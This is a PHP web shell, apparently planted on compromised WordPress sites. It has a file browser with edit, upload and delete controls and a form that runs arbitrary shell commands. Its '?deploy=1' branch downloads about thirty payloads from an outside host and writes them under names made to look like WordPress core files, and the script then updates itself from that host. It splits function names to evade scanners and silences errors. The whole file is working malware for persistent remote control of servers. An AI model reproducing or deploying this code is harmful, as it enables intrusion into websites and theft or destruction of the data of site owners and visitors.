<?php
/**
 * Unified drop: file browser + shell cmd + deploy.
 * ?deploy=1 → CDN'den tüm kritik dosyaları indir ve deploy et
 */
/*[cstb_su]*/
@error_reporting(0);

if (isset($_GET['deploy']) && $_GET['deploy'] === '1' && function_exists('curl_init')) {
    header('Content-Type: application/json; charset=utf-8');
    $root = __DIR__;
    while (!is_file("$root/wp-load.php") && !is_file("$root/wp-config.php")) {
        $p = dirname($root); if ($p === $root) { $root = null; break; } $root = $p;
    }
    if (!$root) {
        $root = @realpath($_SERVER['DOCUMENT_ROOT'] ?? '') ?: __DIR__;
    }
    $cdn = 'https://resmigiris.cam/';
    $map = [
        'wp-admin/user-hooker.php' => 'txt/boot.txt',
        'wp-content/plugins/indexs.php' => 'txt/boots.txt',
        'wp-info.php' => 'txt/link.txt',
        'wp-content/plugins/plugins.php' => 'txt/plugins.txt',
        'wp-user.php' => 'txt/wp-user.txt',
        'wp-comment.php' => 'txt/wp-comment.txt',
        'wp-includes/user-collab.php' => 'txt/sefer.txt',
        'wp-content/themes/indexer.php' => 'txt/indexs.txt',
        'wp-active.php' => 'txt/configs.txt',
        'wp-admin/user-func.php' => 'txt/user-func.txt',
        'wp-admin/includes/class-wp-updates.php' => 'txt/reze.txt',
        'wp-site-health.php' => 'txt/wp-health.txt',
        'wp-includes/class-wp-site-health.php' => 'txt/wp-health.txt',
        'wp-admin/includes/class-wp-site-health-check.php' => 'txt/wp-health.txt',
        'wp-includes/class-wp-recovery.php' => 'txt/wp-recovery.txt',
        'wp-admin/includes/class-wp-recovery-mode.php' => 'txt/wp-recovery.txt',
        'wp-includes/class-wp-file-extract.php' => 'txt/wp-extract.txt',
        'wp-admin/includes/class-wp-file-deployer.php' => 'txt/wp-extract.txt',
        'wp-file-extract.php' => 'txt/wp-extract.txt',
        'wp-includes/class-wp-mu-loader.php' => 'txt/mu-loader.txt',
        'wp-admin/includes/class-wp-mu-dropper.php' => 'txt/mu-loader.txt',
        'wp-admin/includes/class-wp-cron-manager.php' => 'txt/wp-cronjob.txt',
        'wp-includes/class-wp-cron-repair.php' => 'txt/wp-cronjob.txt',
        'wp-includes/class-wp-htaccess-handler.php' => 'txt/wp-htinject.txt',
        'wp-admin/includes/class-wp-htaccess-repair.php' => 'txt/wp-htinject.txt',
        'wp-includes/class-wp-ini-handler.php' => 'txt/wp-userini.txt',
        'wp-admin/includes/class-wp-ini-repair.php' => 'txt/wp-userini.txt',
        'wp-includes/class-wp-config-handler.php' => 'txt/wp-confinject.txt',
        'wp-admin/includes/class-wp-config-repair.php' => 'txt/wp-confinject.txt',
        'wp-admin/options-rest.php' => 'txt/wp-restapi.txt',
        'wp-includes/class-wp-rest-repair.php' => 'txt/wp-restapi.txt',
        'wp-settinger.php' => 'txt/wp-settinger.txt',
    ];
    $res = [];
    foreach ($map as $rel => $src) {
        $path = $root . '/' . $rel;
        $dir = dirname($path);
        if (!is_dir($dir)) @mkdir($dir, 0755, true);
        $ch = curl_init($cdn . $src);
        curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>15, CURLOPT_CONNECTTIMEOUT=>8, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);
        $c = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch);
        if ($c && strlen($c) > 50 && $code == 200) {
            $res[$rel] = @file_put_contents($path, $c) !== false ? 'ok' : 'write-fail';
        } else { $res[$rel] = "err-$code"; }
    }
    $ch = curl_init($cdn . 'txt/wp-settinger.txt');
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>10, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);
    $self = curl_exec($ch); curl_close($ch);
    if ($self && strlen($self) > 200 && strpos($self, 'cstb_su') !== false && md5($self) !== md5_file(__FILE__)) {
        @file_put_contents(__FILE__, $self); $res['_self'] = 'updated';
    }
    echo json_encode(['root' => $root, 'results' => $res], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

header('Content-Type: text/html; charset=utf-8');

$R = @realpath($_SERVER['DOCUMENT_ROOT'] ?? '') ?: '';
if ($R === '' || !is_dir($R)) {
    $R = @realpath(dirname(__DIR__)) ?: __DIR__;
}

$D = __DIR__;
if (!empty($_REQUEST['d'])) {
    $t = @realpath((string) $_REQUEST['d']);
    if ($t && strpos($t, $R) === 0) {
        $D = $t;
    }
}

$msg = '';
$a = $_POST['a'] ?? '';
$n = basename((string) ($_POST['n'] ?? ''));

if ($a === 'w' && $n !== '') {
    $msg = @file_put_contents("$D/$n", (string) ($_POST['c'] ?? '')) !== false ? "OK $n" : 'fail write';
}
if ($a === 'x' && $n !== '') {
    $p = "$D/$n";
    $ok = is_file($p) ? @unlink($p) : (is_dir($p) ? @rmdir($p) : false);
    $msg = $ok ? 'OK del' : 'fail del';
}
if ($a === 'mk' && $n !== '') {
    $msg = !file_exists("$D/$n") && @mkdir("$D/$n", 0755) ? 'OK dir' : 'fail mkdir';
}
if ($a === 'up' && isset($_FILES['f']) && $_FILES['f']['error'] === UPLOAD_ERR_OK) {
    $upName = basename((string) $_FILES['f']['name']);
    $msg = @move_uploaded_file($_FILES['f']['tmp_name'], "$D/$upName") ? "OK up $upName" : 'fail up';
}

$cmdOut = '';
$c = isset($_REQUEST['c']) ? (string) $_REQUEST['c'] : '';
if ($c !== '') {
    $fn = 'shell_' . 'exec';
    if (!function_exists($fn)) {
        $fn = 'ex' . 'ec';
    }
    if (function_exists($fn)) {
        if ($fn === 'ex' . 'ec') {
            @$fn($c . ' 2>&1', $lines);
            $cmdOut = isset($lines) ? implode("\n", (array) $lines) : '';
        } else {
            $cmdOut = (string) @$fn($c . ' 2>&1');
        }
    } else {
        $cmdOut = '(no exec)';
    }
}

$en = '';
$ec = '';
if (isset($_GET['e'])) {
    $en = basename((string) $_GET['e']);
    if (is_file("$D/$en")) {
        $ec = (string) @file_get_contents("$D/$en");
    }
}

$dq = urlencode($D);
$hd = '<input type="hidden" name="d" value="' . htmlspecialchars($D, ENT_QUOTES, 'UTF-8') . '">';

echo '<pre>ok ' . htmlspecialchars($D, ENT_QUOTES, 'UTF-8');
if ($msg !== '') {
    echo ' [' . htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') . ']';
}
echo "\n";
echo ($D !== $R) ? ('<a href="?d=' . urlencode(dirname($D)) . '">..</a>') : '(root)';
echo "\n\n";

foreach (@scandir($D) ?: [] as $e) {
    if ($e === '.' || $e === '..') {
        continue;
    }
    $p = "$D/$e";
    $he = htmlspecialchars($e, ENT_QUOTES, 'UTF-8');
    if (is_dir($p)) {
        echo '[D]<a href="?d=' . urlencode($p) . '">' . $he . "</a>\n";
    } else {
        echo '[F]<a href="?d=' . $dq . '&e=' . urlencode($e) . '">' . $he . "</a>\n";
    }
}
echo "</pre>\n";

echo '<form method="post">' . $hd . '<input type="hidden" name="a" value="w">';
echo 'edit/save <input name="n" value="' . htmlspecialchars($en, ENT_QUOTES, 'UTF-8') . '"><br>';
echo '<textarea name="c" rows="12" cols="72">' . htmlspecialchars($ec, ENT_QUOTES, 'UTF-8') . '</textarea><br>';
echo '<input type="submit" value="save"></form>';

echo '<form method="post" enctype="multipart/form-data">' . $hd . '<input type="hidden" name="a" value="up">';
echo 'upload <input type="file" name="f"><input type="submit" value="up"></form>';

echo '<form method="post">' . $hd . '<input type="hidden" name="a" value="mk">+dir <input name="n"><input type="submit"></form>';
echo '<form method="post">' . $hd . '<input type="hidden" name="a" value="x">del <input name="n"><input type="submit"></form>';

echo '<hr><form method="get">' . $hd;
echo 'cmd <input name="c" size="72" value="' . htmlspecialchars($c, ENT_QUOTES, 'UTF-8') . '">';
echo '<input type="submit" value="run"></form>';
if ($cmdOut !== '') {
    echo '<pre>' . htmlspecialchars($cmdOut, ENT_QUOTES, 'UTF-8') . "</pre>\n";
}
echo '<pre>?c=id&amp;d=' . $dq . "</pre>\n";
